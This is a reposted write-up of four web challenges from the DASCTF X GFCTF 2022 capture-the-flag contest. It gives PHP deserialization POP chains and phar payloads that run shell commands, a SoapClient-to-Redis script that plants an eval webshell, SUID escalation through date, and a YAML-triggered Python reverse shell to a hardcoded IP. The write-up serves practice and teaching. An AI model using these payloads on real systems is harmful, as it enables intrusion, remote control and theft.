【Web】DASCTF X GFCTF 2022十月挑战赛题解

news2024/11/16 13:42:59

目录

EasyPOP

hade_waibo

EasyLove 

BlogSystem


EasyPOP

先读hint.php 

sorry.__destruct -> secret_code::secret()

exp:

$a=new sorry();
$b=new secret_code();
$a->password="suibian";
$a->name="jay";
echo serialize($a);

 真暗号啊🤔

 然后直接瞪眼看链子就完了

sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke

exp:

<?php
class fine
{
    public $cmd;
    public $content;

}

class show
{
    public $ctf;
    public $time;

}

class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;

}

class secret_code
{
    public $code;
}

//sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new sorry();
$e=new fine();
$e->cmd="system";
$e->content="tac /f*";
$d->key=$e;
$c->code=$d;
$b->ctf=$c;
$a->name=&$a->password;
$a->hint=$b;
echo serialize($a);

 wakeup绕过把fine的属性数改成3就可

payload:

?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";R:2;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:7:"tac /f*";}}}s:4:"time";N;}s:3:"key";N;}

hade_waibo

先随便输个用户名登进去

 cancanneed可以任意文件读取

bp抓包拿到

base64解码得

 尝试读/flag和/proc/1/environ均无果

于是读index.php

<?php
error_reporting(0);
session_start();
include 'class.php';

if(isset($_POST['username']) && $_POST['username']!=''){
	#修复了登录还需要passwd的漏洞
	$user = new User($_POST['username']);
}

if($_SESSION['isLogin']){
	die("<script>alert('Login success!');location.href='file.php'</script>");
}else{
	die('
<form action="index.php" method="post">
	<div class="ui input">
		<input type="text" name="username" placeholder="Give me uname" maxlength="6">
	</div>
<form>');
}

 class.php

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #更新黑名单为白名单,更加的安全
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

典啊,很典啊

存在一个恶意类,可以配合User类来利用

注意最后的无字母数字rce不在eval中,所以常规的异或取反自增都不能用

在File.show()存在file_get_contents,可以触发phar反序列化

之后对Test类的后门进行利用时要绕过wakeup,靶机是高版本php,不能用CVE-2016-7124打,但因为这题的特殊性,所以哪怕不绕过也可以玩。

因为反序列化时会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup,即先执行内层再执行外层,所以可以有如下利用

User::__wakeup()里username的值可以被赋值为 $_SESSION[“username”]的值,而这个值是我们可控的

将User::$username的值和Test::value的值使用引用关联起来,这样两个的值就会一直相同

以. ./*登录,则可执行system('. ./*')

恶意phar包生成脚本

<?php
class User{
    public $username;
}
class Test
{
    public $value;

}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

 

先上传一个恶意文件

内容为

#!/bin/bash
ls /

 

再上传恶意phar包

 

用文件读取功能触发phar反序列化

 phar:///var/www/html/upload/dasctffa7668f272204eb70911a4c1be67ccad.png

 然后直接读flag文件

/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc

 

base64解码即可

 

EasyLove 

 

 先进行一个hint.php的看

?hello=O:4:"hint":1:{s:4:"hint";s:63:"php://filter/read=convert.base64-encode/resource=/var/www/html/";}

base64解码拿到

 

一眼SoapClient打ssrf打redis

exp:

<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename yjh.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
    'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
    public $wllm = 'SoapClient';
    public $arsenetang = null;
    public $l61q4cheng;
    public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>

 payload:

?hello=O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A125%3A%22hello%0D%0AAUTH+20220311%0D%0ACONFIG+SET+dir+%2Fvar%2Fwww%2Fhtml%0D%0ASET+x+%27%3C%3F%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%0D%0ACONFIG+SET+dbfilename+yjh.php%0D%0ASAVE%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D

连蚁剑发现没权限读flag 

虚拟终端中打开

find / -user root -perm -4000 -print 2>/dev/null

先查找SUID文件

 

用date提权读文件

带有SUID权限位的提权方法 

date -f /hereisflag/flllll111aaagg

 

BlogSystem

先随便注册个账号

在blog界面翻到secretkey

解密 

伪造

 

修改session,成功以admin登录

 

发现多了一个download的功能

猜测存在目录穿越下载任意文件

 

 /download?path=../../../app/app.py

 

from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')


@app.context_processor
def login_statue():
    username = session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}


@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', 80)

可以看到app.py引入了三个包:config model view

 关于__init__.py

/download?path=../../../app/view/__init__.py 

 读view/__init__.py

同理也可以读

/app/view/index.py&/app/view/blog.py

关键代码:

@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
    try:
        file = request.files.get('editormd-image-file')
        fileName = file.filename.replace('..','')
        filePath = os.path.join("static/upload/", fileName)
        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说:'+str(e))
    else:

        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)
def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True

写一个恶意文件exp.py

import os
os.popen("bash -c 'bash -i &> /dev/tcp/124.222.136.33/1337 0>&1'").read()

用表单上传

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload Form</title>
</head>
<body>
    <h1>Upload a File</h1>
    <!-- 文件上传表单 -->
    <form action="http://f6802fbb-c2e2-41b7-bdee-31bfa406624f.node5.buuoj.cn:81/blog/imgUpload" method="post" enctype="multipart/form-data">
        <p>
            <label for="file">Choose file to upload:</label>
            <input type="file" id="file" name="file" required>
        </p>
        <p>
            <button type="submit">Upload File</button>
        </p>
    </form>
</body>
</html>

 

 关于yaml反序列化的利用:

 SecMap - 反序列化(PyYAML) - Tr0y's Blog

 

恶意yaml文件

!!python/module:static.upload.exp

 最后触发yaml反序列化

/blog/saying?path=static/upload/exp.yaml

反弹shell拿到flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1595326.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【SQL】数据库SQL语句

1、主键 主键值唯一&#xff0c;不可修改&#xff0c;不能为空&#xff0c;删除不能重用 2、数据类型&#xff08;常用&#xff09; char int float date timestamp 3、select select * from data; select xx,xxx from data;//取部分行 select * from data limit 100; //限…

聊聊jvm中内存模型的坑

jvm线程的内存模型 看图&#xff0c;简单来说线程中操作的变量是副本。在并发情况下&#xff0c;如果数据发生变更&#xff0c;副本的数据就变为脏数据。这个时候就会有并发问题。 参考&#xff1a;https://www.cnblogs.com/yeyang/p/12580682.html 怎么解决并发问题 解决的…

蓝桥杯嵌入式第十五届省赛真题题目

蓝桥杯昨天也考完了&#xff0c;大家可以看看题目 客观题题目 程序题题目

Spring AI 应用 - 智能记者

参考实现&#xff1a; https://github.com/mshumer/ai-journalist 上面是通过 Claude 配合 SERP 搜索 API&#xff0c;使用 Python 语言实现的&#xff0c;本文通过 GitHub Copilot 辅助改为了基于 Spring AI 的 Java 版本&#xff0c;本文使用的 OpenAI。 AIJournalist 实现…

Python大数据分析——一元与多元线性回归模型

Python大数据分析——一元与多元线性回归模型 相关分析概念示例 一元线性回归模型概念理论分析函数示例 多元线性回归模型概念理论分析示例 线性回归模型的假设检验模型的F检验理论分析示例 模型的T检验理论分析示例 相关分析 概念 a 正相关&#xff1b;b 负相关&#xff1b;c…

大数据深度学习:基于Tensorflow深度学习卷积神经网络CNN算法垃圾分类识别系统

文章目录 大数据深度学习&#xff1a;基于Tensorflow深度学习卷积神经网络CNN算法垃圾分类识别系统一、项目概述二、深度学习卷积神经网络&#xff08;Convolutional Neural Networks&#xff0c;简称CNN&#xff09;三、部分数据库架构四、系统实现系统模型部分核心代码模型训…

JVM虚拟机(五)强引用、软引用、弱引用、虚引用

目录 一、强引用二、软引用三、弱引用四、虚引用五、总结 引文&#xff1a; 在 Java 中一共存在 4 种引用&#xff1a;强、软、弱、虚。它们主要指的是&#xff0c;在进行垃圾回收的时候&#xff0c;对于不同的引用垃圾回收的情况是不一样的。下面我们就一起来看一下这 4 种引用…

Qt 中默认代码

目录 主函数 widget的声明 widget的定义 form file .pro 文件 主函数 #include "widget.h" ​ #include <QApplication> ​ int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 上面就是 Qt 刚创建的一…

Redis入门到通关之Set命令

文章目录 ⛄ 概述⛄ Set类型的常见命令⛄RedisTemplate API❄️❄️ 添加Set缓存(值可以是一个&#xff0c;也可是多个)❄️❄️设置过期时间(单独设置)❄️❄️根据key获取Set中的所有值❄️❄️根据value从一个set中查询,是否存在❄️❄️获取Set缓存的长度❄️❄️移除指定的…

集合体系java

Collection:单列集合&#xff1a;每个元素只包含一个值 Collection集合存储的是地址 Collection的三种遍历方法如下 //迭代器是用来遍历集合的专用方式&#xff08;数组没有迭代器&#xff09;&#xff0c;在java中迭代器的代表是Iterator //boolean hasNext():询问当前位置…

9【原型模式】复制一个已存在的对象来创建新的对象

你好&#xff0c;我是程序员雪球。 今天我们来学习23种设计模式之原型模式&#xff0c;在平时开发过程中比较少见。我带你了解什么是原型模式&#xff0c;使用场景有哪些&#xff1f;有什么注意事项&#xff1f;深拷贝与浅拷贝的区别&#xff0c;最后用代码实现一个简单的示例…

机器学习-随机森林温度预测模型优化

文章目录 前言旧模型训练新模型训练参数查看组合参数训练学习模型评估 前言 在机器学习-随机森林算法预测温度一文中&#xff0c;通过增大模型训练数据集和训练特征的方式去优化模型的性能&#xff0c;本文将记录第三方种优化方式&#xff0c;通过调整随机森林创建模型参数的方…

专业照片编辑软件ON1 Photo RAW 2024 mac/win

ON1 Photo RAW 2024 for Mac是一款集专业性与易用性于一体的照片编辑软件。它拥有简洁直观的用户界面&#xff0c;即便对于摄影新手&#xff0c;也能快速上手。软件支持RAW格式照片处理&#xff0c;能够完整保留照片原始信息&#xff0c;让后期调整更加灵活。 在功能方面&#…

[Linux][基础IO][一][系统文件IO][文件描述符fd]详细解读

目录 0.预备知识1.系统文件I/O1.open2.write/read/close/lseek 2.文件描述符fd1.[0 & 1 & 2]2.什么是文件描述符&#xff1f;3.文件描述符的分配规则4.重定向5.使用dup2系统调用 -- 完成重定向6.FILE 0.预备知识 什么叫做文件呢&#xff1f; 站在系统的角度&#xff0…

【全网独家】oceanbase容器重启时报obshell failed错误,无法正常启动的问题处理

正常运行的oceanbase容器&#xff0c;重新启动该容器却启动不了&#xff0c;重启服务器也无法恢复&#xff0c;报obshell failed错误&#xff0c;无法正常启动&#xff0c;本文记录了问题处理过程。 一、问题现象 1、正常运行的oceanbase容器&#xff0c;重启却启动不了 2、运…

CSS中:root伪类的说明和使用

定义和用法 :root选择器用匹配文档的根元素。在HTML中根元素始终是HTML元素&#xff0c;所以也可以把:root理解为html根元素选择器&#xff0c;但是比html根元素的优先级高&#xff0c;:root伪类选择器常常被用于定义全局的CSS变量或者设置全局的CSS样式。CSS :root 选择器 | …

Win11 WSL2 install Ubuntu20.04 and Seismic Unix

Win11系统&#xff0c;先启用或关闭Windows功能&#xff0c;勾选“适用于Linux的Windows子系统”和“虚拟机平台”两项 设置wsl默认版本为wsl2&#xff0c;并更新 wsl --list --verbose # 查看安装版本及内容 wsl --set-default-version 2 # 设置wsl默认版本为wsl2 # 已安装…

Go微服务: go-micro集成consul的注册中心和配置中心

微服务与注册中心的关系图 这个图很好说明了微服务之间的关系&#xff0c;以及consul注册中心的重要性 环境准备 1 &#xff09;consul 集群 假设consul 集群已经搭建&#xff0c;已有5台server和2台client这里2台client被nginx做负载均衡&#xff0c;假设最终本地的访问地址…

rocketmq和rabbitmq总是分不清?

1. 官方解答 摘自百度搜索&#xff1a; 2. 通俗易懂的回答

蓝桥杯:握手问题和小球反弹问题

试题 A: 握手问题 本题总分&#xff1a; 5 分 【问题描述】 小蓝组织了一场算法交流会议&#xff0c;总共有 50 人参加了本次会议。在会议上&#xff0c; 大家进行了握手交流。按照惯例他们每个人都要与除自己以外的其他所有人进行一次握手&#xff08;且仅有一次&#x…